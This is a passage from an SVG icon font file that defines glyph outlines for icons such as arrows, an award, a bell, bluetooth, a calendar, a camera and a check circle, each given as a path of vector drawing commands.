q0.210175 0.366089 0.426666 0.725342l110.08 190.848q-66.9301 -4.32819 -145.101 -43.5074q-78.1708 -39.1793 -121.694 -90.21zM582.187 761.6l-94.8481 -164.267h343.979q-37.2407 55.7356 -110.236 103.866t-138.895 60.401z" />
    <glyph glyph-name="arrow-left" unicode="&#xe828;" 
d="M853.333 426.667h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h682.667q17.6639 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013zM456.832 609.835
q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6896 -13.0256l-256 -256q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l256 -256q12.5805 -13.0257 30.6896 -13.0257q17.664 0 30.1653 12.5013t12.5013 30.1653
q0 18.109 -13.0257 30.6897l-225.835 225.835z" />
    <glyph glyph-name="arrow-right" unicode="&#xe829;" 
d="M170.667 341.333h682.667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM567.168 158.165q-11.977 -12.4007 -11.977 -29.641
q0 -17.664 12.5013 -30.1653q12.5013 -12.5014 30.1653 -12.5014q17.2403 0 29.6411 11.977l256 256q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-256 256q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653
q0 -17.2404 11.977 -29.6411l225.835 -225.835z" />
    <glyph glyph-name="arrow-down" unicode="&#xe82a;" 
d="M469.333 725.333v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v682.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z
M286.165 328.832q-12.5805 13.0256 -30.6897 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896l256 -256q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l256 256q11.977 12.4007 11.977 29.641q0 17.6639 -12.5013 30.1653
q-12.5013 12.5013 -30.1653 12.5013q-17.2403 0 -29.6411 -11.977l-225.835 -225.835z" />
    <glyph glyph-name="arrow-up-left" unicode="&#xe82b;" 
d="M798.165 158.165l-512 512q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.6411l512 -512q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.6411zM640 597.333
q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-384q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-384q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v341.333z" />
    <glyph glyph-name="arrow-up-right" unicode="&#xe82c;" 
d="M286.165 97.8347l512 512q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-512 -512q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.6411 11.977z
M725.333 256q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v384q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-384q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013
h341.333z" />
    <glyph glyph-name="arrow-up" unicode="&#xe82d;" 
d="M554.667 42.6667v682.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653zM737.835 439.168
q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-256 -256q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653
t30.1653 -12.5013q17.2403 0 29.641 11.977l225.835 225.835z" />
    <glyph glyph-name="award" unicode="&#xe82e;" 
d="M304.646 283.538q-55.4456 42.419 -94.6861 121.847q-39.2405 79.4285 -39.2405 149.24q0 92.6691 45.6946 171.302q45.6946 78.6324 124.327 124.327q78.6324 45.6946 171.301 45.6946q92.669 0 171.301 -45.6946t124.327 -124.327t45.6946 -171.302
q0 -69.8111 -39.2405 -149.24q-39.2404 -79.4285 -94.6862 -121.847l48.2119 -363.21q0.377441 -2.81851 0.377441 -5.66244q0 -17.6635 -12.501 -30.1644t-30.1644 -12.501q-11.827 0 -21.9661 6.0891l-191.397 114.898l-191.397 -114.813
q-10.1196 -6.05759 -21.9136 -6.05759q-17.6635 0 -30.1644 12.5009q-12.5009 12.501 -12.5009 30.1644q0 2.80611 0.367554 5.58828l48.2119 363.21zM384.644 237.886l-31.9991 -241.059l137.383 82.4295q10.1415 6.09303 21.9727 6.09303q11.8311 0 21.9727 -6.09303
l137.383 -82.4295l-31.9564 241.059q-25.2829 -10.1566 -62.4598 -17.3448q-37.1769 -7.18817 -64.4237 -7.18817l-0.515381 0.00038147l-0.472809 -0.000335693q-27.2467 0 -64.4236 7.18819q-37.1769 7.18817 -62.4606 17.3447zM512 298.685q105.981 0 180.987 75.0058
q75.0057 75.0058 75.0057 180.987q0 105.981 -75.0057 180.987t-180.987 75.0057q-105.981 0 -180.987 -75.0057q-75.0057 -75.0057 -75.0057 -180.987q0 -105.981 75.0057 -180.987q75.0058 -75.0058 180.987 -75.0058z" />
    <glyph glyph-name="bar-chart" unicode="&#xe82f;" 
d="M810.667 725.333v-682.667h85.3333v682.667h-85.3333zM768 810.667h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-768q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v768
q0 17.664 12.5013 30.1653t30.1653 12.5013zM469.333 512v-469.333h85.3333v469.333h-85.3333zM426.667 597.333h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-554.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013h-170.667v0
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v554.667q0 17.664 12.5013 30.1653t30.1654 12.5013zM128 42.6667h85.3333v256h-85.3333v-256zM85.3333 384h170.667v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-341.333q0 -17.664 -12.5013 -30.1653
q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v341.333q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013z" />
    <glyph glyph-name="at-sign" unicode="&#xe830;" 
d="M725.333 384v-42.6667q0 -35.328 25.0026 -60.3307q25.0027 -25.0027 60.3307 -25.0027t60.3307 25.0027q25.0027 25.0027 25.0027 60.3307v42.6667q-0.0065918 104.249 -51.4169 192.708q-51.4103 88.4586 -139.872 139.863q-88.4619 51.4047 -192.711 51.4047
q-104.256 0 -192.72 -51.408q-88.4642 -51.408 -139.872 -139.872q-51.408 -88.4641 -51.408 -192.72q0 -104.256 51.4079 -192.72q51.4079 -88.464 139.872 -139.872q88.4642 -51.408 192.72 -51.408q53.88 0 122.287 23.1846t111.185 55.9436
q11.4809 8.79147 25.9413 8.79147q17.6649 0 30.1669 -12.502q12.5019 -12.502 12.5019 -30.1668q0 -21.0684 -16.7274 -33.8773q-52.2835 -40.0388 -135.892 -68.3755q-83.6089 -28.3367 -149.462 -28.3367q-95.4329 7.62939e-06 -182.343 37.1879
q-86.9099 37.1879 -149.762 100.04q-62.8524 62.8524 -100.04 149.762t-37.1878 182.343q0 95.4328 37.1879 182.343q37.1879 86.91 100.04 149.762q62.8524 62.8525 149.762 100.04q86.91 37.1879 182.343 37.1879q95.4269 0 182.334 -37.1855
q86.9068 -37.1855 149.759 -100.034q62.8524 -62.8485 100.043 -149.753q37.191 -86.9045 37.197 -182.331v-42.6667v-0.00665283q0 -70.656 -50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053q-36.4584 0 -77.2128 21.0292q-40.7543 21.0292 -61.8806 50.7428
q-26.3547 -29.7021 -73.1097 -50.7232q-46.7549 -21.0211 -86.4636 -21.0211q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.32 62.5067 150.827q62.5067 62.5067 150.827 62.5067q88.3203 0 150.827 -62.5067t62.5067 -150.827zM512 256
q52.992 0 90.496 37.504t37.504 90.496t-37.504 90.496t-90.496 37.504q-52.992 0 -90.496 -37.504t-37.504 -90.496t37.504 -90.496t90.496 -37.504z" />
    <glyph glyph-name="bar-chart-" unicode="&#xe831;" 
d="M469.333 725.333v-682.667h85.3333v682.667h-85.3333zM426.667 810.667h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-768q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013h-170.667v0q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v768
q0 17.664 12.5013 30.1653t30.1654 12.5013zM810.667 512v-469.333h85.3333v469.333h-85.3333zM768 597.333h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-554.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-170.667
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v554.667q0 17.664 12.5013 30.1653t30.1653 12.5013zM128 42.6667h85.3333v256h-85.3333v-256zM85.3333 384h170.667v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-341.333q0 -17.664 -12.5013 -30.1653
q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v341.333q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013z" />
    <glyph glyph-name="battery-charging" unicode="&#xe832;" 
d="M213.333 170.667h-85.3333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v341.333q0 17.664 12.5013 30.1653t30.1653 12.5013h136.107q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-136.107q-52.992 0 -90.496 -37.504
t-37.504 -90.496v-341.333q0 -52.992 37.504 -90.496t90.496 -37.504h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5018zM640 597.333h85.3333q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-341.333q0 -17.664 -12.5013 -30.1653
t-30.1653 -12.5013h-136.107q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h136.107q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v341.333q0 52.9921 -37.504 90.496t-90.496 37.504h-85.3333q-17.664 0 -30.1653 -12.5013
t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5018zM1024 341.333v85.3333q-0.00274658 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6612 0 -30.1625 -12.4994t-12.5041 -30.1607v-85.3333q0.00280762 -17.6613 12.5041 -30.1607
q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4995q12.5013 12.4994 12.504 30.1606zM348.501 151.68q-7.17331 -10.7536 -7.17331 -23.68q0 -17.6662 12.5029 -30.1691t30.1691 -12.5029q9.45151 0 19.8526 5.56464t15.6461 13.4273l170.667 256
q7.17438 10.7532 7.17438 23.68q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-0.00634766h-176.256l126.421 189.653q7.17334 10.7535 7.17334 23.68q0 17.6662 -12.5029 30.1691t-30.1691 12.5029q-9.45157 0 -19.8526 -5.56464t-15.6461 -13.4274l-170.667 -256
q-7.17438 -10.7531 -7.17438 -23.68q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h0.00637817h176.256z" />
    <glyph glyph-name="bell-off" unicode="&#xe833;" 
d="M386.503 734.704q24.2355 13.6781 61.083 23.3583t64.6765 9.68018q105.93 0 180.899 -74.9695t74.9695 -180.899l-6.10352e-05 -0.201935v-170.579q0 -17.6549 12.4949 -30.1499t30.1498 -12.4949t30.1498 12.4949q12.495 12.4949 12.495 30.1499v170.579v0.103027
q0 92.6244 -45.6725 171.219q-45.6725 78.5944 -124.267 124.267q-78.5945 45.6726 -171.219 45.6725q-37.0944 0 -86.2119 -12.9q-49.1176 -12.8999 -81.4248 -31.1272q-9.67725 -4.90186 -16.5261 -16.0483q-6.84885 -11.1465 -6.84885 -21.9944
q0 -17.655 12.4949 -30.1499t30.1499 -12.4949q12.2341 0 22.608 6.48505zM256.394 298.448v213.224l-0.000213623 0.319336q0 25.7414 8.35916 60.1463q8.35916 34.4048 20.1704 57.2766q4.76233 9.21893 4.76233 19.5953q0 17.6757 -12.5096 30.1853t-30.1853 12.5096
q-10.7639 0 -21.8781 -6.76819t-16.0544 -16.3314q-15.7131 -30.4649 -26.8337 -76.2859q-11.1207 -45.8209 -11.1207 -80.0994l0.00050354 -0.590179v-213.181q0 -35.3099 -24.9899 -60.2997q-24.9899 -24.9899 -60.2997 -24.9899q-26.8437 0 -37.897 -21.3224
t-7.62939e-06 -42.6448q11.0533 -21.3224 37.897 -21.3224h639.672q17.6549 0 30.1498 12.4949t12.4949 30.1499t-12.4949 30.1499t-30.1498 12.4949h-491.908q22.815 39.4564 22.8152 85.2893zM549.151 21.3421q-5.10254 -8.79616 -15.9106 -15.0215
q-10.8082 -6.22534 -20.9771 -6.22534q-10.169 0 -20.9771 6.22532q-10.8081 6.22531 -15.9106 15.0215q-5.1037 8.79417 -15.9118 15.0181q-10.8081 6.22391 -20.976 6.22392q-17.657 0 -30.1533 -12.4964t-12.4963 -30.1533q0 -11.4792 5.76193 -21.4077
q15.3076 -26.3886 47.7319 -45.0645q32.4243 -18.676 62.9314 -18.676q30.507 0 62.9313 18.676t47.7319 45.0645q5.7619 9.92851 5.7619 21.4077q0 17.657 -12.4963 30.1533t-30.1533 12.4963q-10.1678 0 -20.9759 -6.22391q-10.8082 -6.22391 -15.912 -15.018z
M13.0202 822.68l938.185 -938.185q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185q-12.5741 13.0188 -30.6737 13.0188q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499
q0 -18.0996 13.0188 -30.6738z" />
    <glyph glyph-name="battery" unicode="&#xe834;" 
d="M85.3342 554.283v-340.565q0 -17.8071 12.4663 -30.4289t29.987 -12.6218h597.76q17.5599 0 30.0067 12.5934q12.4467 12.5934 12.4467 30.4572v340.523q0 17.8358 -12.4647 30.4645t-29.9886 12.6288h-597.76q-17.56 0 -30.0066 -12.5934
q-12.4467 -12.5934 -12.4468 -30.4578zM0.000856369 554.283l-0.000455675 0.341614q0 52.904 37.4416 90.4204q37.4416 37.5164 90.3455 37.622h597.76q52.9038 -0.158447 90.3453 -37.7123q37.4415 -37.5538 37.4415 -90.4578l-0.000183105 -0.213928v-340.565
l0.000427246 -0.341568q0 -52.904 -37.4416 -90.4204q-37.4416 -37.5164 -90.3455 -37.622h-597.76q-52.9038 0.158432 -90.3453 37.7123q-37.4415 37.5538 -37.4415 90.4578l0.000178494 0.213898v340.523zM1024 341.333v85.3333q-0.00274658 17.6613 -12.504 30.1607
q-12.5013 12.4994 -30.1627 12.4994q-17.6612 0 -30.1625 -12.4994t-12.5041 -30.1607v-85.3333q0.00280762 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4995q12.5013 12.4994 12.504 30.1606z" />
    <glyph glyph-name="bluetooth" unicode="&#xe835;" 
d="M554.66 17.7251l131.649 131.649l-131.649 131.649v-263.298zM686.309 618.635l-131.649 131.649v-263.298zM247.209 588.474q-11.9752 12.3987 -11.9752 29.6365q0 17.6613 12.4994 30.1606q12.4994 12.4994 30.1607 12.4994q17.2377 0 29.6365 -11.9752
l469.261 -469.261q12.4903 -12.4941 12.4903 -30.1607q0 -17.6666 -12.4903 -30.1607l-234.63 -234.63q-20.1569 -20.1573 -46.4888 -9.2519t-26.3319 39.4126v938.522q0 28.4818 26.3319 39.3965q26.3319 10.9147 46.4888 -9.2359l234.63 -234.63
q12.4903 -12.4941 12.4903 -30.1606q0 -17.6666 -12.4903 -30.1607l-469.261 -469.261q-12.5786 -13.0236 -30.6849 -13.0236q-17.6613 0 -30.1607 12.4994q-12.4994 12.4994 -12.4994 30.1607q0 18.1062 13.0236 30.6849l307.451 307.451v-205.963z" />
    <glyph glyph-name="bell" unicode="&#xe836;" 
d="M768 298.667v213.333q0 106 -75 181t-181 75t-181 -75t-75 -181v-213.333q0 -45.8566 -22.8267 -85.3333h557.653q-9.45038 16.3397 -16.1387 41.2627q-6.68823 24.923 -6.68823 43.7987zM938.667 128h-853.333q-26.8575 0 -37.9164 21.3333q-11.059 21.3333 0 42.6667
q11.059 21.3333 37.9164 21.3333v0q35.328 0 60.3307 25.0027q25.0027 25.0027 25.0027 60.3307v213.333q0 92.6718 45.696 171.307q45.696 78.6348 124.331 124.331q78.6348 45.696 171.307 45.696q92.6718 0 171.307 -45.696q78.6348 -45.6959 124.331 -124.331
q45.696 -78.6348 45.696 -171.307v-213.333q0 -35.3281 25.0026 -60.3307t60.3307 -25.0026q26.8575 0 37.9164 -21.3333q11.059 -21.3333 0 -42.6667q-11.059 -21.3333 -37.9181 -21.3334zM548.907 21.4187q-5.10504 -8.80073 -15.9188 -15.0292
q-10.8137 -6.2285 -20.9879 -6.2285t-20.9879 6.22851t-15.9188 15.0292q-5.10635 8.79868 -15.92 15.0258q-10.8136 6.2271 -20.9867 6.2271q-17.666 0 -30.1688 -12.5028q-12.5027 -12.5028 -12.5027 -30.1688q0 -11.4851 5.76489 -21.4187
q15.3155 -26.4021 47.7563 -45.0877q32.4409 -18.6855 62.9636 -18.6855q30.5226 0 62.9636 18.6855q32.441 18.6855 47.7564 45.0877q5.76489 9.93337 5.76489 21.4187q0 17.666 -12.5027 30.1688q-12.5028 12.5028 -30.1688 12.5028q-10.173 0 -20.9867 -6.22711
q-10.8137 -6.22711 -15.9199 -15.0258z" />
    <glyph glyph-name="book" unicode="&#xe837;" 
d="M853.333 853.333q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-853.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-576v0q-61.824 0 -105.579 43.7547q-43.7547 43.7547 -43.7546 105.579v640q0 61.824 43.7547 105.579q43.7547 43.7546 105.579 43.7546z
M810.667 213.333v554.667h-533.333v0q-26.496 0 -45.248 -18.752t-18.752 -45.248v-505.045q30.2801 14.3788 63.8008 14.3788l0.199219 -0.000137329zM810.667 128h-533.333q-26.496 0 -45.248 -18.752t-18.752 -45.248t18.752 -45.248t45.248 -18.752h533.333v128z" />
    <glyph glyph-name="briefcase" unicode="&#xe838;" 
d="M298.667 640v42.6667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h170.667q52.9921 0 90.496 -37.504t37.504 -90.496v-42.6667h128.427q52.8156 -0.140747 90.1947 -37.6196t37.3791 -90.2946l-0.000488281 -0.341827v-426.155l6.10352e-05 -0.129181
q0 -52.8158 -37.379 -90.357q-37.379 -37.5412 -90.1943 -37.7698h-683.52q-52.8156 0.140743 -90.1947 37.6196q-37.3791 37.4789 -37.3791 90.2946l0.000457764 0.341789v426.155l-6.48499e-05 0.129211q0 52.8159 37.379 90.357q37.379 37.5412 90.1944 37.7698z
M298.667 554.667h-128.427q-17.3182 0 -29.7791 -12.6166q-12.4609 -12.6167 -12.4609 -30.3061v-426.155l-0.00138092 -0.342674q0 -17.4885 12.3767 -29.9644t29.8647 -12.6156h128.427v512zM384 554.667v-512h256v512h-256zM725.333 554.667v-512h128.427
q17.3182 0 29.7791 12.6167q12.4609 12.6167 12.4609 30.306v426.155l0.00140381 0.342712q0 17.4886 -12.3767 29.9645t-29.8647 12.6155zM384 640h256v42.6667q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-170.667v0q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653z
" />
    <glyph glyph-name="camera-off" unicode="&#xe839;" 
d="M682.885 273.415l328.621 -328.621q11.9709 -12.3944 11.9709 -29.6259q0 -17.6549 -12.4949 -30.1499t-30.1498 -12.4949q-17.2314 0 -29.6259 11.9709l-72.7947 72.7947h-749.951q-52.9648 0 -90.4496 37.4848q-37.4848 37.4848 -37.4848 90.4496v469.093
q0 52.9648 37.4848 90.4496q37.4848 37.4847 90.4496 37.4847h24.9899l-140.429 140.429q-13.0186 12.5742 -13.0186 30.6736q0 17.6549 12.4949 30.1498q12.4949 12.4949 30.1499 12.4949q18.0995 0 30.6736 -13.0186l371.266 -371.266l1.1514 -1.10876l236.039 -236.039z
M654.014 181.729q-25.1688 -22.6226 -66.9322 -38.6333t-75.6049 -16.0107q-88.2747 0 -150.749 62.4746t-62.4746 150.749q0 33.8272 15.9988 75.5775t38.6047 66.9148l-114.117 114.16h-110.279q-17.6549 0 -30.1499 -12.4949q-12.4949 -12.4949 -12.4949 -30.1498
v-469.093q0 -17.6549 12.4949 -30.1499q12.4949 -12.4949 30.1499 -12.4949h664.662l-139.107 139.107zM593.544 242.157l-180.217 180.217q-12.3462 -14.7534 -21.0838 -38.8099q-8.7377 -24.0565 -8.7377 -43.2942q0 -52.9648 37.4848 -90.4496
q37.4848 -37.4848 90.4496 -37.4848q19.2376 0 43.2942 8.73773t38.8099 21.0838zM690.006 615.938q5.2417 -7.85645 15.6356 -13.4167t19.8384 -5.56024h0.00640869h170.579v0q17.6549 0 30.1498 -12.4949t12.4949 -30.1498v-398.302q0 -17.6549 12.4949 -30.1499
q12.4949 -12.4949 30.1498 -12.4949t30.1499 12.4949t12.4949 30.1499v398.302q0 52.9649 -37.4847 90.4496t-90.4496 37.4847h-147.764l-72.6241 108.957q-5.2417 7.85638 -15.6356 13.4167q-10.3939 5.56024 -19.8385 5.56024h-0.00634766h-255.869
q-17.6549 0 -30.1499 -12.4949t-12.4949 -30.1498q0 -17.655 12.4949 -30.1499t30.1499 -12.4949h233.054z" />
    <glyph glyph-name="calendar" unicode="&#xe83a;" 
d="M384 768h256v42.6667q0.00268555 17.6613 12.504 30.1607q12.5013 12.4995 30.1627 12.4995q17.6613 0 30.1625 -12.4995q12.5013 -12.4995 12.5041 -30.1607v-42.6667h85.5467q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76q0 -52.9037 -37.4415 -90.3452
q-37.4415 -37.4415 -90.3452 -37.4415h-597.76q-52.9037 7.62939e-06 -90.3452 37.4415q-37.4415 37.4415 -37.4415 90.3452v597.76v0q0 52.9037 37.4415 90.3452t90.3452 37.4415h85.5467v42.6667v0.00653076q0 17.6641 12.5013 30.1654t30.1653 12.5013t30.1653 -12.5013
t12.5013 -30.1653v-0.00653076zM853.333 426.667h-682.667v-384.213q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0266 12.4267q12.4267 12.4267 12.4267 30.0267zM384 682.667v-42.6667v-0.00653076q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013
t-30.1653 12.5013t-12.5013 30.1653v0.00653076v42.6667h-85.5467q-17.5757 0 -30.0145 -12.4388t-12.4388 -30.0145v-128.213h682.667v128.213v0q0 17.5756 -12.4388 30.0145t-30.0145 12.4389h-85.5467v-42.6667q-0.00262451 -17.6613 -12.504 -30.1607
q-12.5014 -12.4995 -30.1627 -12.4995t-30.1626 12.4994q-12.5013 12.4995 -12.504 30.1608v42.6667z" />
    <glyph glyph-name="bookmark" unicode="&#xe83b;" 
d="M768 82.9013v599.765q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-426.667q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-599.765l231.211 165.12q11.1231 7.94011 24.7893 7.94011q13.6661 0 24.7893 -7.94011l231.211 -165.077z
M238.123 -34.7307q-11.123 -7.94011 -24.7893 -7.94011q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v0.00411371v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h426.667q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-682.667v-0.00411473
q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013q-13.6663 0 -24.7893 7.94011l-273.877 195.627z" />
    <glyph glyph-name="box" unicode="&#xe83c;" 
d="M568.96 872.363l341.333 -170.667q29.4041 -14.6111 50.2188 -48.1898q20.8147 -33.5787 20.8212 -66.4129v-406.613q-0.0174561 -32.7947 -20.8072 -66.3483q-20.7897 -33.5536 -50.1475 -48.1691l-341.333 -170.667q-27.0328 -13.521 -57.2587 -13.521
q-30.2257 0 -57.2587 13.521l-341.461 170.709q-29.1463 14.6639 -49.7741 48.1331t-20.6277 66.0965q0 0.336395 0.0017662 0.671646v406.187q0.0174561 32.7947 20.8072 66.3483q20.7897 33.5536 50.1475 48.169l341.419 170.752q26.9103 13.3721 56.96 13.3721
t56.9594 -13.3716zM512 474.368l331.051 165.547l-312.107 156.032q-8.94257 4.43054 -18.9227 4.43054t-18.9227 -4.43054l-312.149 -155.989zM896 570.965l-341.333 -170.667v-416.811l317.653 158.848q9.7868 4.86314 16.7251 16.0393q6.93829 11.1762 6.9549 22.1047
v390.486zM469.333 -16.7253v417.024l-341.333 170.667v-390.357q-0.209038 -26.4787 23.3387 -38.3573z" />
    <glyph glyph-name="camera" unicode="&#xe83d;" 
d="M334.165 616.32q-5.24442 -7.86047 -15.6436 -13.4236t-19.8486 -5.56311h-0.00640869h-170.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-469.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013
q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-170.667h-0.00640869q-9.4494 0 -19.8486 5.56311t-15.6436 13.4236l-72.6613 109.013h-210.347zM896 682.667q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-469.333
q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-768q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v469.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h147.84l72.6613 109.013q5.24438 7.86047 15.6436 13.4236t19.8486 5.56311
h0.00637817h256h0.00640869q9.4494 0 19.8487 -5.56311q10.3992 -5.56311 15.6436 -13.4236l72.6613 -109.013h147.84zM512 128q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.32 62.5067 150.827q62.5067 62.5067 150.827 62.5067
q88.3201 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827q0 -88.32 -62.5067 -150.827q-62.5067 -62.5067 -150.827 -62.5067zM512 213.333q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496t-37.504 90.496q-37.504 37.504 -90.496 37.504
q-52.992 0 -90.496 -37.504t-37.504 -90.496t37.504 -90.496t90.496 -37.504z" />
    <glyph glyph-name="check-circle" unicode="&#xe83e;" 
d="M896 423.68v-39.68q-0.071167 -104.185 -51.5044 -192.588q-51.4332 -88.4038 -139.872 -139.777q-88.4388 -51.3728 -192.623 -51.3728q-104.256 0 -192.72 51.4079q-88.464 51.4079 -139.872 139.872q-51.4079 88.4642 -51.4079 192.72q0 104.256 51.4079 192.72
q51.4079 88.4641 139.872 139.872q88.4641 51.4079 192.72 51.408q33.8154 0 79.6076 -9.74036q45.7922 -9.7403 76.6804 -23.5032q8.75024 -4.19781 18.4551 -4.19781q17.664 0 30.1653 12.5013t12.5013 30.1653q0 11.8196 -7.7326 23.3757t-18.6585 16.0648
q-37.752 16.8212 -93.7204 28.7261q-55.9684 11.9049 -97.2982 11.9049q-95.4329 0 -182.343 -37.1879q-86.9099 -37.1878 -149.762 -100.04q-62.8525 -62.8525 -100.04 -149.762q-37.1878 -86.9099 -37.1878 -182.343q0 -95.4329 37.1879 -182.343
q37.1879 -86.9099 100.04 -149.762q62.8524 -62.8524 149.762 -100.04q86.9099 -37.1879 182.343 -37.1879q95.387 0 182.273 37.17t149.738 99.9922q62.8524 62.8222 100.064 149.69q37.2116 86.8678 37.2576 182.255v39.7227q-0.00268555 17.6613 -12.504 30.1607
t-30.1627 12.4994t-30.1626 -12.4994q-12.5012 -12.4995 -12.504 -30.1607zM414.165 456.832q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.641l128 -128q12.4961 -12.4922 30.1653 -12.4922
q17.6694 0 30.1653 12.4922l469.333 469.333q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.1089 0 -30.6897 -13.0256l-439.168 -439.168z" />
    <glyph glyph-name="check" unicode="&#xe83f;" 
